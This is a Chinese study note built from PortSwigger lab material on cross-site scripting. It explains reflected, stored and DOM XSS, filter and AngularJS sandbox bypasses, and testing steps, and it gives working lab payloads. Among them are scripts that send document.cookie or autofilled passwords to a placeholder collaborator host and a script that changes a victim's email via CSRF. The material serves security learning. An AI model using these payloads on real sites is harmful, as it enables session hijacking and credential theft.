所有内容,来自burpsuite官方靶场(portswigger)
跨站脚本
什么是跨站脚本?
跨站点脚本(也称 为 XSS)是一种 Web 安全漏洞,允许攻击者破坏用户与易受攻击的应用程序的交互。它允许攻击者绕过旨在将不同网站彼此隔离的同源策略。跨站点脚本漏洞通常允许攻击者伪装成受害者用户,执行用户能够执行的任何操作,并访问用户的任何数据。如果受害者用户在应用程序中拥有特权访问权限,那么攻击者可能能够完全控制应用程序的所有功能和数据。
XSS是如何工作的?
跨站点脚本通过操纵易受攻击的网站来工作,以便将恶意 JavaScript 返回给用户。当恶意代码在受害者的浏览器中执行时,攻击者可以完全破坏他们与应用程序的交互。
XSS概念证明
可以通过注入一个有效载荷来确认大多数类型的 XSS 漏洞,该载荷会导致你自己的浏览器执行一些任意的 JavaScript。长期以来alert()
,将此函数用于此目的一直是一种常见做法,因为它很短、无害,并且在成功调用时很难错过。
不幸的是,如果你使用 Chrome,会有一个小问题。从版本 92 开始(2021 年 7 月 20 日),跨域 iframe 被阻止调用alert()
. 由于这些用于构建一些更高级的 XSS 攻击,因此有时需要使用替代 PoC 负载。在这种情况下,推荐使用该print()
功能。
XSS攻击有哪些类型?
XSS 攻击主要分为三种类型。这些是:
- 反射型 XSS,其中恶意脚本来自当前的 HTTP 请求。
- 存储的 XSS,其中恶意脚本来自网站的数据库。
- 基于 DOM 的 XSS,该漏洞存在于客户端代码而不是服务器端代码中。
反射型XSS
反射型XSS是最简单的跨站脚本。当应用程序在 HTTP 请求中接收数据并以不安全的方式在即时响应中包含该数据时,就会出现这种情况。
下面是一个反射型XSS漏洞的简单示例:
假设一个网站有一个搜索功能,它接收用户在 URL 参数中提供的搜索词:
https://insecure-website.com/search?term=gift
应用程序在对此 URL 的响应中回显所提供的搜索词:
You searched for: gift
假设应用程序不执行任何其他数据处理,攻击者可以构建如下攻击:
https://insecure-website.com/search?term=<script>/*+Bad+stuff+here...+*/</script>
此 URL 会产生以下响应:
<p>You searched for: <script>/* Bad stuff here... */</script></p>
如果应用程序的另一个用户请求攻击者的 URL,那么攻击者提供的脚本将在受害者用户的浏览器中,在他们与应用程序的会话上下文中执行
Status:
如果用户访问攻击者构建的 URL,则攻击者的脚本将在用户浏览器中执行,在该用户与应用程序的会话上下文中。此时,脚本可以执行任何操作,并检索用户有权访问的任何数据。
反射型XSS攻击的影响
如果攻击者可以控制在受害者浏览器中执行的脚本,那么他们通常可以完全危害该用户。除其他外,攻击者可以:
- 在应用程序中执行用户可以执行的任何操作。
- 查看用户能够查看的任何信息。
- 修改用户能够修改的任何信息。
- 发起与其他应用程序用户的交互,包括恶意攻击,这些交互似乎来自最初的受害者用户。
攻击者可以通过多种方式诱使受害用户发出他们控制的请求,以进行反射型 XSS 攻击。这些包括在攻击者控制的网站上放置链接,或在允许生成内容的另一个网站上放置链接,或通过在电子邮件、推文或其他消息中发送链接。攻击可以直接针对已知用户,也可以针对应用程序的任何用户进行不分青红皂白的攻击:
攻击需要外部传递机制意味着反射型 XSS 的影响通常不如存储型 XSS严重,存储型 XSS可以在易受攻击的应用程序本身内传递自包含攻击。
利用跨站点脚本漏洞
证明发现了跨站点脚本漏洞的传统方法是使用该alert()
函数创建一个弹出窗口。这并不是因为XSS与弹出窗口有关;这只是一种证明可以在给定域上执行任意 JavaScript 的方法。您可能会注意到有些人使用alert(document.domain)
. 这是一种明确 JavaScript 在哪个域上执行的方法。
有时,您会想更进一步,通过提供完整的漏洞利用来证明 XSS 漏洞是真正的威胁。下面,我们将探讨利用 XSS 漏洞的三种最流行和最强大的方法。
利用跨站脚本窃取cookie
窃取 cookie 是利用 XSS 的传统方法。大多数 Web 应用程序使用 cookie 进行会话处理。您可以利用跨站点脚本漏洞将受害者的 cookie 发送到您自己的域,然后手动将 cookie 注入您的浏览器并冒充受害者。
在实践中,这种方法有一些明显的局限性:
- 受害者可能没有登录。
- 许多应用程序使用该
HttpOnly
标志对 JavaScript 隐藏其 cookie 。 - 会话可能会被其他因素锁定,例如用户的 IP 地址。
- 会话可能会在您能够劫持它之前超时。
LAB:利用跨站脚本窃取cookie
实验:本实验包含博客评论功能中的存储型 XSS漏洞。一个模拟的受害者用户在发布后查看所有评论。为解决实验室问题,利用该漏洞窃取受害者的会话 cookie,然后使用该 cookie 来冒充受害者
<script>
fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {
method: 'POST',
mode: 'no-cors',
body:document.cookie
});
</script>
利用跨站点脚本来捕获密码
如今,许多用户都有自动填写密码的密码管理器。您可以通过创建密码输入、读出自动填充的密码并将其发送到您自己的域来利用这一点。这种技术避免了与窃取 cookie 相关的大部分问题,甚至可以访问受害者重复使用相同密码的每个其他帐户。
这种技术的主要缺点是它只适用于拥有执行密码自动填充的密码管理器的用户。(当然,如果用户没有保存密码,您仍然可以尝试通过现场网络钓鱼攻击获取他们的密码,但这并不完全相同。)
LAB:利用跨站点脚本来捕获密码
实验:本实验包含博客评论功能中的存储型 XSS漏洞。一个模拟的受害者用户在发布后查看所有评论。为了解决实验室,利用该漏洞窃取受害者的用户名和密码,然后使用这些凭据登录受害者的帐户
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
利用跨站脚本执行CSRF
合法用户可以在网站上做的任何事情,你也可以用 XSS 做。根据您定位的站点,您可能能够让受害者发送消息、接受好友请求、向源代码存储库提交后门或转移一些比特币。
某些网站允许登录用户无需重新输入密码即可更改其电子邮件地址。如果您发现了 XSS 漏洞,您可以让它触发此功能,将受害者的电子邮件地址更改为您控制的地址,然后触发密码重置以获取对帐户的访问权限。
这种类型的利用通常被称为跨站点请求伪造(CSRF),这有点令人困惑,因为 CSRF 也可以作为独立漏洞发生。当 CSRF 作为独立漏洞发生时,可以使用反 CSRF 令牌等策略对其进行修补。但是,如果还存在 XSS 漏洞,则这些策略不会提供任何保护。
LAB:利用XSS执行CSRF
查看页面的源代码,看到以下信息:
- 需要发出 POST 请求
/my-account/change-email
,并带有一个名为 的参数email
。 - 有个隐藏的输入中有一个反 CSRF 令牌
token
。
这意味着漏洞利用将需要加载用户帐户页面,提取CSRF 令牌,然后使用该令牌更改受害者的电子邮件地址。
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
test@test.com
不同上下文中的反射型XSS
有许多不同种类的反射跨站点脚本。应用程序响应中反射数据的位置决定了利用它所需的有效负载类型,并且还可能影响漏洞的影响。
此外,如果应用程序在提交的数据被反映之前对其进行任何验证或其他处理,这通常会影响需要什么样的 XSS 负载
跨站点脚本上下文
在测试反射和存储XSS时,一个关键任务是识别XSS上下文:
- 响应攻击者可控数据出现的位置
- 应用程序对该数据执行的任何输入验证或其他处理
HTML标签之间的XSS
当 XSS 上下文是 HTML 标签之间的文本时,您需要引入一些新的 HTML 标签,旨在触发 JavaScript 的执行。
执行 JavaScript 的一些有用方法是:
<script>alert(document.domain)</script>
<img src=1 onerror=alert(1)>
LAB:将XSS反射到HTML上下文中,没有编码
实验:搜索框(将 XSS 反射到 HTML 上下文中,不进行任何编码)
LAB:将XSS存储到HTML上下文中,没有编码
实验:留言板(将 XSS 反射到 HTML 上下文中,不进行任何编码)
LAB:将XSS反射到HTML上下文中,大多数标记和属性被阻止**
实验:搜索框(将 XSS 反射到 HTML 上下文中,大多数标签和属性被阻止)
该实验室在搜索功能中包含一个反映的 XSS漏洞,但使用 Web 应用程序防火墙 (WAF) 来防御常见的 XSS 向量。
要解决实验室问题,请执行绕过 WAF 并调用该函数的跨站点脚本攻击print()
Tag 被禁、我们可以通过Intruder找到没有被禁的Tag
body标签没有被禁
再来找事件
onresize事件未被禁止
<body onresize=print()>
LAB4:将XSS反射到HTML上下文中,除自定义标签外所有标签都被阻止
LAB:带有时间处理程序和href被阻止的属性的反射型XSS
search=%3Csvg%3E%3Ca%3E%3Canimate+attributeName%3Dhref+values%3Djavascript%3Aalert(1)+%2F%3E%3Ctext+x%3D20+y%3D20%3EClick%20me%3C%2Ftext%3E%3C%2Fa%3E
LAB:运行使用一些SVG标记的反射型XSS
爆破事件
onbegin可用
HTML标签属性中的XSS
当 XSS 上下文进入 HTML 标记属性值时,有时可能能够终止属性值、关闭标记并引入一个新标记。例如:
"><script>alert(document.domain)</script>
在这种情况下更常见的是,尖括号被阻止或编码,因此输入不能脱离它出现的标签。如果可以终止属性值,通常可以引入一个新属性来创建可编写脚本的上下文,例如事件处理程序。例如:
" autofocus onfocus=alert(document.domain) x="
上面的payload创建了一个onfocus
事件,当元素接收到焦点时将执行JavaScript,并且还添加了autofocus
属性来尝试在onfocus
没有任何用户交互的情况下自动触发事件。最后,它添加x="
以优雅地修复以下标记。
LAB:将XSS反射到带有尖括号HTML编码的属性中
"onmouseover="alert(1)
将鼠标滑动到搜索框上,自动弹窗
有时 XSS 上下文是一种 HTML 标签属性,它本身可以创建一个可编写脚本的上下文。在这里,可以在不需要终止属性值的情况下执行 JavaScript。例如,如果 XSS 上下文进入href
锚标记的属性,则可以使用javascript
伪协议来执行脚本。例如:
LAB:hred使用双引号HTML编码将XSS存储到锚属性中
点击winter弹窗
可能会遇到对尖括号进行编码但仍允许注入属性的网站。有时,即使在通常不会自动触发事件的标签(例如规范标签)中,这些注入也是可能的。可以在 Chrome 上使用访问键和用户交互来利用此行为。访问键允许提供引用特定元素的键盘快捷键。该accesskey
属性允许定义一个字母,当与其他键(这些键因不同平台而异)组合按下时,将导致事件触发。
LAB:规范链接标签中的反射XSS
https://your-lab-id.web-security-academy.net/?%27accesskey=%27x%27onclick=%27alert(1)
这会将X
密钥设置为整个页面的访问密钥。当用户按下访问键时,该alert
函数被调用。
- 在 Windows 上:
ALT+SHIFT+X
- 在 MacOS 上:
CTRL+ALT+X
- 在 Linux 上:
Alt+X
XSS转换成JavaScript
当 XSS 上下文是响应中的一些现有 JavaScript 时,可能会出现各种各样的情况,需要使用不同的技术来执行成功的利用。
终止现有脚本
在最简单的情况下,可以简单地关闭包含现有 JavaScript 的脚本标记,并引入一些将触发 JavaScript 执行的新 HTML 标记。例如,如果 XSS 上下文如下:
然后您可以使用以下有效负载来突破现有的 JavaScript 并执行您自己的:
</script><img src=1 onerror=alert(document.domain)>
这样做的原因是浏览器首先执行 HTML 解析来识别页面元素,包括脚本块,然后才执行 JavaScript 解析来理解和执行嵌入的脚本。上述有效负载使原始脚本损坏,并带有未终止的字符串文字。但这并不能阻止后续脚本以正常方式解析和执行
LAB:将XSS反射到JavaScript字符串中,并转义单引号和反斜杠
'
被反斜杠转义
跳出JavaScript字符串
在 XSS 上下文位于带引号的字符串文字内的情况下,通常可以跳出字符串并直接执行 JavaScript。必须在 XSS 上下文之后修复脚本,因为那里的任何语法错误都会阻止整个脚本执行。
打破字符串文字的一些有用方法是:
'-alert(document.domain)-'';alert(document.domain)/
LAB:将XSS反射到带有尖括号HTML编码的JavaScript字符串中
一些应用程序试图通过使用反斜杠转义任何单引号字符来防止输入超出 JavaScript 字符串。字符前的反斜杠告诉 JavaScript 解析器该字符应该按字面解释,而不是像字符串终止符这样的特殊字符。在这种情况下,应用程序经常会犯错误,未能转义反斜杠字符本身。这意味着攻击者可以使用自己的反斜杠字符来抵消应用程序添加的反斜杠。
例如,假设输入:
';alert(document.domain)//
转换为:
\';alert(document.domain)//
您现在可以使用替代有效负载:
\';alert(document.domain)//
转换为:
\\';alert(document.domain)//
这里,第一个反斜杠意味着第二个反斜杠按字面解释,而不是作为特殊字符。这意味着引号现在被解释为字符串终止符,因此攻击成功。
LAB:将XSS反射为带有尖括号和双引号的JavaScript字符串HTML编码和单引号转义
一些网站通过限制使用的字符使 XSS 变得更加困难。这可以在网站级别进行,也可以通过部署 WAF 来阻止您的请求到达网站。在这些情况下,需要尝试其他方法来调用绕过这些安全措施的函数。一种方法是使用throw
带有异常处理程序的语句。这可以在不使用括号的情况下将参数传递给函数。以下代码将alert()
函数分配给全局异常处理程序,并且该throw
语句将 传递1
给异常处理程序(在本例中为alert
)。最终结果是该alert()
函数1
作为参数被调用。
onerror=alert;throw 1
LAB:在JavaScript URL中反射XSS,其中一些字符被阻止
https://aceb1f4d1e4f57f6c0ba886f006700f8.web-security-academy.net/post?postId=5&%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
使用HTML编码
当 XSS 上下文是引用标记属性中的某些现有 JavaScript(例如事件处理程序)时,可以使用 HTML 编码来绕过某些输入过滤器。
当浏览器解析出响应中的 HTML 标签和属性时,它将在进一步处理标签属性值之前对它们进行 HTML 解码。如果服务器端应用程序阻止或清理成功利用 XSS 所需的某些字符,则通常可以通过对这些字符进行 HTML 编码来绕过输入验证。
例如,如果 XSS 上下文如下:
并且应用程序阻止或转义单引号字符,您可以使用以下有效负载来突破 JavaScript 字符串并执行您自己的脚本:
'-alert(document.domain)-'
该'
序列是一个表示撇号或单引号的 HTML 实体。由于浏览器onclick
在解释 JavaScript 之前对属性值进行 HTML 解码,因此实体被解码为引号,成为字符串分隔符,因此攻击成功。
LAB1:onclick使用尖括号和双引号将XSS存储到事件中HTML编码和单引号和反斜杠转义
随机字符串已反映在onclick
事件处理程序属性中
JavaScript模板文字中的XSS
JavaScript 模板文字是允许嵌入 JavaScript 表达式的字符串文字。嵌入的表达式会被计算并通常连接到周围的文本中。模板文字被封装在反引号中而不是普通的引号中,并且使用${...}
语法标识嵌入的表达式。
例如,以下脚本将打印一条包含用户显示名称的欢迎消息:
document.getElementById('message').innerText = `Welcome, ${user.displayName}.`;
当 XSS 上下文进入 JavaScript 模板文字时,不需要终止文字。相反,只需使用${...}
语法嵌入一个 JavaScript 表达式,该表达式将在处理文字时执行。例如,如果 XSS 上下文如下:
那么您可以使用以下有效负载来执行 JavaScript,而无需终止模板文字:
${alert(document.domain)}
LAB:将XSS反射到带有尖括号、单引号、双引号、反斜杠和反引号的模板文字中Unicode转义
AngularJS沙箱上下文中的XSS
有时,在 AngularJS 沙箱的上下文中会出现 XSS 漏洞。这给开发带来了额外的障碍,通常可以通过足够的独创性来规避。
下面将描述 AngularJS 沙箱,解释漏洞如何从沙箱中逃脱,并阐明如何在 AngularJS 沙箱的上下文中绕过内容安全策略( CSP )。
什么是AngularJS沙箱?
AngularJS 沙箱是一种机制,可以防止访问AngularJS 模板表达式中的潜在危险对象,例如window
或document
。它还可以防止访问具有潜在危险的属性,例如__proto__
. 尽管 AngularJS 团队并未将其视为安全边界,但更广泛的开发人员社区通常不这么认为。尽管绕过沙箱最初具有挑战性,但安全研究人员发现了许多方法。因此,它最终在 1.6 版中从 AngularJS 中删除。然而,许多遗留应用程序仍然使用旧版本的 AngularJS,因此可能容易受到攻击
AngularJS沙箱是如何工作的?
沙箱的工作原理是解析表达式、重写JavaScript,然后使用各种函数来测试重写的代码是否包含任何危险对象。例如,改ensureSafeObject()函数检查给定对象是否引用自身。例如,这是检查window对象的一种方法。该Function构造大致相同的方式检测,通过检查constructor属性引用自身。
该ensureSafeMemberName()
函数检查对象的每个属性访问,如果它包含危险属性,例如__proto__
或 __lookupGetter__
,该对象将被阻止。该ensureSafeFunction()
函数防止call()
、apply()
、bind()
或constructor()
被调用。
可以通过访问这个 fiddle并在angular.js
文件的第 13275 行设置断点来亲自查看沙箱的运行情况。该变量fnString
包含您重写的代码,因此您可以查看 AngularJS 如何转换它。
AngularJS沙箱逃逸是如何工作的?
return ('a' <= ch && ch <= 'z' ||
'A' <= ch && ch <= 'Z' ||
'_' === ch || ch === '$');
}
isIdent('x9=9a9l9e9r9t9(919)')
一旦该isIdent()
函数被愚弄,就可以注入恶意的 JavaScript。例如,这样的表达式$eval('x=alert(1)')
是允许的,因为 AngularJS 将每个字符都视为标识符。注意我们需要使用 AngularJS 的$eval()
函数,因为覆盖charAt()
函数只有在沙盒代码执行后才会生效。然后,这种技术将绕过沙箱并允许任意 JavaScript 执行。
构造高级AngularJS沙箱逃逸
因此,了解了基本沙盒转义的工作原理,但也可能会遇到对允许的字符有更多限制的站点。例如,某个站点可能会阻止您使用双引号或单引号。在这种情况下,您需要使用诸如String.fromCharCode()
生成字符之类的函数。尽管 AngularJS 阻止访问String
表达式中的构造函数,但可以通过使用字符串的构造函数属性来解决这个问题。这显然需要一个字符串,因此要构建这样的攻击,需要找到一种无需使用单引号或双引号即可创建字符串的方法。
在标准沙箱转义中,将使用$eval()
来执行 JavaScript 负载,但在下面的实验中,该$eval()
函数未定义。幸运的是,我们可以改用orderBy
过滤器。orderBy
过滤器的典型语法如下:
[123]|orderBy:'Some string'
请注意,|
运算符的含义与 JavaScript 中的含义不同。通常,这是一个按位OR
操作,但在 AngularJS 中它表示一个过滤操作。在上面的代码中,我们[123]
将左侧的数组发送到orderBy
右侧的过滤器。冒号表示要发送到过滤器的参数,在本例中是一个字符串。所述orderBy
过滤器通常用于进行排序的对象,但它也接受的表达,这意味着我们可以用它来传递的有效负载。
现在应该拥有处理下一个实验所需的所有工具。
LAB:带有AngularJS沙箱的反射XSS没有字符串转转义
https://your-lab-id.web-security-academy.net/?search=1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
网页错误
AngularJS CSP 绕过是如何工作的?
内容安全策略 (CSP) 以类似于标准沙箱转义的方式绕过工作,但通常涉及一些 HTML 注入。当 AngularJS 中的 CSP 模式处于活动状态时,它会以不同的方式解析模板表达式并避免使用Function
构造函数。这意味着上述标准沙箱逃逸将不再有效。
根据具体政策,CSP 将阻止 JavaScript 事件。但是,AngularJS 定义了自己的事件,可以替代使用。当在一个事件中时,AngularJS 定义了一个特殊的$event
对象,它只引用浏览器事件对象。您可以使用此对象来执行 CSP 绕过。在 Chrome 上,$event/event
对象有一个特殊的属性,称为path
。此属性包含导致执行事件的对象数组。最后一个属性始终是window
对象,我们可以使用它来执行沙箱转义。通过将此数组传递给orderBy
过滤器,我们可以枚举数组并使用最后一个元素(window
对象)来执行全局函数,例如alert()
. 以下代码演示了这一点:
<input autofocus ng-focus="$event.path|orderBy:'[].constructor.from([1],alert)'">
请注意,使用了该from()
函数,它允许您将对象转换为数组并对该数组的每个元素调用给定函数(在第二个参数中指定)。在这种情况下,我们正在调用该alert()
函数。我们不能直接调用该函数,因为 AngularJS 沙箱会解析代码并检测到该window
对象正在用于调用函数。from()
相反,使用该函数可以有效地将window
对象从沙箱中隐藏起来,从而允许我们注入恶意代码。
使用 AngularJS 沙箱转义绕过 CSP
下一个实验采用了长度限制,因此上述向量将不起作用。为了利用实验室,您需要考虑各种方法来window
从 AngularJS 沙箱中隐藏对象。一种方法是使用该array.map()
函数,如下所示:
[1].map(alert)
map()
接受一个函数作为参数,并将为数组中的每个项目调用它。这将绕过沙箱,因为alert()
正在使用对函数的引用而没有显式引用window
. 解决lab,尝试各种alert()
不触发AngularJSwindow
检测的执行方式。
LAB:带有AngularJS沙箱逃逸和CSP的反射型XSS
<script>
location='https://your-lab-id.web-security-academy.net/?search=%3Cinput%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27%3E#x';
</script>
网页错误
如何查找和测试反射型XSS漏洞
使用 Burp Suite 的Web 漏洞扫描器可以快速可靠地找到绝大多数反映的跨站点脚本漏洞。
手动测试反射型 XSS 漏洞包括以下步骤:
- **测试每个入口点。**分别测试应用程序 HTTP 请求中数据的每个入口点。这包括 URL 查询字符串和消息正文中的参数或其他数据,以及 URL 文件路径。它还包括 HTTP 标头,尽管只能通过某些 HTTP 标头触发的类似 XSS 的行为在实践中可能无法利用。
- **提交随机字母数字值。**对于每个入口点,提交一个唯一的随机值并确定该值是否反映在响应中。该值应设计为能够在大多数输入验证中幸存下来,因此需要相当短并且仅包含字母数字字符。但是它需要足够长的时间才能在响应中发生意外匹配的可能性很小。大约 8 个字符的随机字母数字值通常是理想的。您可以使用 Burp Intruder 的数字负载 [https://portswigger.net/burp/documentation/desktop/tools/intruder/payloads/types#numbers] 和随机生成的十六进制值来生成合适的随机值。你可以使用 Burp Intruder 的grep payloads 选项来自动标记包含提交值的响应。
- **确定反射上下文。**对于响应中反映随机值的每个位置,确定其上下文。这可能在 HTML 标签之间的文本中,在可能被引用的标签属性中,在 JavaScript 字符串中等。
- **测试候选有效载荷。**根据反射的上下文,测试初始候选 XSS 负载,如果它在响应中未修改地反射,则将触发 JavaScript 执行。测试有效载荷的最简单方法是将请求发送到Burp Repeater,修改请求以插入候选有效载荷,发出请求,然后查看响应以查看有效载荷是否有效。一种有效的工作方式是在请求中保留原始随机值,并将候选 XSS 负载放在它之前或之后。然后在 Burp Repeater 的响应视图中设置随机值作为搜索词。Burp 将突出显示搜索词出现的每个位置,让您快速定位反射。
- **测试替代有效载荷。**如果候选 XSS 负载被应用程序修改或完全阻止,那么您将需要根据反射的上下文和正在执行的输入验证类型来测试可能会提供有效 XSS 攻击的替代负载和技术。有关更多详细信息,请参阅跨站点脚本上下文
- **在浏览器中测试攻击。**最后,如果你成功找到了一个看似在 Burp Repeater 中工作的有效载荷,将攻击转移到一个真实的浏览器(通过将 URL 粘贴到地址栏中,或者通过在Burp Proxy 的拦截视图中修改请求,看看注入的JavaScript 确实被执行了。通常,最好执行一些简单的 JavaScript,比如
alert(document.domain)
如果攻击成功,它会在浏览器中触发一个可见的弹出窗口。
有关反射跨站点脚本的常见问题
**反射型 XSS 和存储型 XSS 有什么区别?**当应用程序从 HTTP 请求中获取一些输入并以不安全的方式将该输入嵌入到即时响应中时,就会出现反射型 XSS。使用存储的 XSS,应用程序会存储输入并以不安全的方式将其嵌入到稍后的响应中。
**反射型 XSS 和自型 XSS 有什么区别?**自 XSS 涉及与常规反射 XSS 类似的应用程序行为,但是它不能通过精心制作的 URL 或跨域请求以正常方式触发。相反,只有当受害者自己从浏览器提交 XSS 负载时才会触发该漏洞。进行自我 XSS 攻击通常涉及对受害者进行社会工程,以将一些攻击者提供的输入粘贴到他们的浏览器中。因此,它通常被认为是一个蹩脚的、低影响的问题。
存储跨站脚本
当应用程序从不受信任的来源接收数据并以不安全的方式将这些数据包含在其稍后的 HTTP 响应中时,就会出现存储的跨站点脚本(也称为二阶或持久性 XSS)。
假设一个网站允许用户提交对博客帖子的评论,这些评论会显示给其他用户。用户使用 HTTP 请求提交评论,如下所示:
POST /post/comment HTTP/1.1Host: vulnerable-website.comContent-Length: 100postId=3&comment=This+post+was+extremely+helpful.&name=Carlos+Montoya&email=carlos%40normal-user.net
提交此评论后,任何访问博客文章的用户都将在应用程序的响应中收到以下内容:
This post was extremely helpful.
假设应用程序不对数据执行任何其他处理,攻击者可以提交如下恶意评论:
在攻击者的请求中,此评论将被 URL 编码为:
comment=%3Cscript%3E%2F*%2BBad%2Bstuff%2Bhere...%2B*%2F%3C%2Fscript%3E
任何访问博客文章的用户现在都将在应用程序的响应中收到以下内容:
<p><script>/* Bad stuff here... */</script></p>
然后,攻击者提供的脚本将在受害者用户的浏览器中,在他们与应用程序的会话上下文中执行。
LAB:将XSS存储到HTML上下文中,没有编码
在评论框中输入以下内容: <script>alert(1)</script>
存储型XSS攻击的影响
如果攻击者可以控制在受害者浏览器中执行的脚本,那么他们通常可以完全危害该用户。攻击者可以执行任何适用于反映的 XSS 漏洞影响的操作。
在可利用性方面,反射型 XSS 和存储型 XSS 之间的主要区别在于,存储型 XSS 漏洞可实现应用程序本身的自包含攻击。攻击者不需要找到诱使其他用户发出包含其漏洞利用的特定请求的外部方式。相反,攻击者将他们的漏洞利用放入应用程序本身,并简单地等待用户遇到它。
在 XSS 漏洞仅影响当前登录到应用程序的用户的情况下,存储的跨站点脚本攻击的自包含性质尤其相关。如果 XSS 被反映,那么攻击必须是偶然的:在他们未登录的时候被诱导提出攻击者请求的用户不会受到损害。相比之下,如果存储了 XSS,则保证用户在遇到漏洞时已登录。
存储在不同上下文中的XSS
同上->不同上下文中的反射型XSS
如何查找和测试存储的XSS漏洞
许多存储的 XSS 漏洞可以使用 Burp Suite 的网络漏洞扫描器找到。
手动测试存储的 XSS 漏洞可能具有挑战性。您需要测试所有相关的“入口点”,攻击者可控制的数据可以通过这些“入口点”进入应用程序的处理过程,以及数据可能出现在应用程序响应中的所有“出口点”。
申请处理的入口点包括:
- URL 查询字符串和消息正文中的参数或其他数据。
- URL 文件路径。
- 可能无法利用与反射 XSS相关的 HTTP 请求标头。
- 攻击者可以通过其将数据传送到应用程序的任何带外路由。存在的路由完全取决于应用程序实现的功能:webmail 应用程序将处理从电子邮件中收到的数据;显示 Twitter 提要的应用程序可能会处理第三方推文中包含的数据;新闻聚合器将包含源自其他网站的数据。
存储型 XSS 攻击的出口点都是在任何情况下返回给任何类型的应用程序用户的所有可能的 HTTP 响应。
测试存储型 XSS 漏洞的第一步是定位入口点和出口点之间的链接,由此提交到入口点的数据从出口点发出。这可能具有挑战性的原因是:
- 提交给任何入口点的数据原则上可以从任何出口点发出。例如,用户提供的显示名称可能出现在仅对某些应用程序用户可见的模糊审核日志中。
- 由于应用程序内执行的其他操作,应用程序当前存储的数据通常容易被覆盖。例如,搜索功能可能会显示最近搜索的列表,这些列表会在用户执行其他搜索时快速替换。
要全面识别入口点和出口点之间的链接,将涉及分别测试每个排列、将特定值提交到入口点、直接导航到出口点并确定该值是否出现在那里。但是,这种方法在页面多于几页的应用程序中并不实用。
相反,更现实的方法是系统地处理数据入口点,向每个入口点提交特定值,并监控应用程序的响应以检测提交值出现的情况。可以特别关注相关的应用功能,例如对博客文章的评论。当在响应中观察到提交的值时,您需要确定数据是否确实存储在不同的请求中,而不是简单地反映在即时响应中。
当您在应用程序的处理过程中确定了入口点和出口点之间的链接时,需要专门测试每个链接以检测是否存在存储的 XSS 漏洞。这涉及确定响应中存储数据出现的上下文并测试适用于该上下文的合适的候选 XSS 负载。在这一点上,测试方法与查找反射的 XSS 漏洞大致相同。
基于DOM的跨站脚本
基于 DOM 的 XSS(也称为DOM XSS)出现在应用程序包含一些客户端 JavaScript,这些 JavaScript 以不安全的方式处理来自不受信任来源的数据,通常是将数据写回 DOM。
在以下示例中,应用程序使用一些 JavaScript 从输入字段读取值并将该值写入 HTML 中的元素:
var search = document.getElementById('search').value;var results = document.getElementById('results');results.innerHTML = 'You searched for: ' + search;
如果攻击者可以控制输入字段的值,他们就可以很容易地构造一个恶意值来执行自己的脚本:
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
在典型情况下,输入字段将从 HTTP 请求的一部分填充,例如 URL 查询字符串参数,允许攻击者以与反射 XSS 相同的方式使用恶意 URL 进行攻击。
什么是基于DOM的跨站脚本?
当 JavaScript 从攻击者可控制的来源(例如 URL)获取数据并将其传递到支持动态代码执行的接收器(例如eval()
或 )时,通常会出现基于 DOM 的 XSS 漏洞innerHTML
。这使攻击者能够执行恶意 JavaScript,这通常允许他们劫持其他用户的帐户。
要进行基于 DOM 的 XSS 攻击,需要将数据放入源中,以便将其传播到接收器并导致执行任意 JavaScript。
DOM XSS 最常见的来源是 URL,通常通过window.location
对象访问。攻击者可以构建一个链接,将受害者发送到带有查询字符串和 URL 片段部分的有效负载的易受攻击页面。在某些情况下,例如针对 404 页面或运行 PHP 的网站时,也可以将有效负载放置在路径中。
如何测试基于DOM的跨站脚本?
大多数 DOM XSS 漏洞都可以使用 Burp Suite 的Web 漏洞扫描器快速可靠地找到。要手动测试基于 DOM 的跨站点脚本,通常需要使用带有开发人员工具的浏览器,例如 Chrome。需要依次处理每个可用的源,并单独测试每个源。
测试HTML接收器
要在 HTML 接收器中测试 DOM XSS,请将随机字母数字字符串放入源(例如location.search
),然后使用开发人员工具检查 HTML 并找到您的字符串出现的位置。请注意,浏览器的“查看源代码”选项不适用于 DOM XSS 测试,因为它不考虑 JavaScript 在 HTML 中执行的更改。在 Chrome 的开发者工具中,您可以使用Control+F
(或Command+F
在 MacOS 上)在 DOM 中搜索您的字符串。
对于输入字符串出现在 DOM 中的每个位置,需要确定上下文。基于此上下文,需要优化输入以查看其处理方式。例如,如果字符串出现在双引号属性中,则尝试在字符串中插入双引号以查看是否可以脱离该属性。
请注意,浏览器与问候到URL编码,Chrome浏览器,Firefox的表现不同,和Safari浏览器将URL编码location.search
和location.hash
,而IE11和Microsoft Edge (pre-Chromium)不会URL编码,这些来源。如果您的数据在处理之前进行了 URL 编码,则 XSS 攻击不太可能奏效。
测试JavaScript执行接收器
为基于 DOM 的 XSS 测试 JavaScript 执行接收器有点困难。使用这些接收器,输入的字符串不一定会出现在 DOM 中的任何位置,因此无法搜索它。相反,需要使用 JavaScript 调试器来确定输入是否以及如何发送到接收器。
对于每个潜在来源,例如location
,首先需要在页面的 JavaScript 代码中找到引用该来源的案例。在 Chrome 的开发者工具中,可以使用Control+Shift+F
(或Command+Alt+F
在 MacOS 上)搜索所有页面的 JavaScript 代码以获取源代码。
找到读取源的位置后,可以使用 JavaScript 调试器添加断点并跟踪源值的使用方式。可能会发现源被分配给其他变量。如果是这种情况,就将需要再次使用搜索功能来跟踪这些变量并查看它们是否被传递到接收器。当发现一个接收器被分配了源自源的数据时,可以使用调试器来检查值,方法是将鼠标悬停在变量上以在将其发送到接收器之前显示其值。然后,与 HTML 接收器一样,需要细化输入以查看是否可以成功进行 XSS 攻击。
使用 DOM Invader 测试 DOM XSS
在野外识别和利用 DOM XSS 可能是一个乏味的过程,通常需要手动浏览复杂的、缩小的 JavaScript。但是,如果使用 Burp 的嵌入式浏览器,则可以利用其内置的 DOM Invader 扩展,完成很多繁重的工作。
利用不同的源和接收器利用DOM XSS
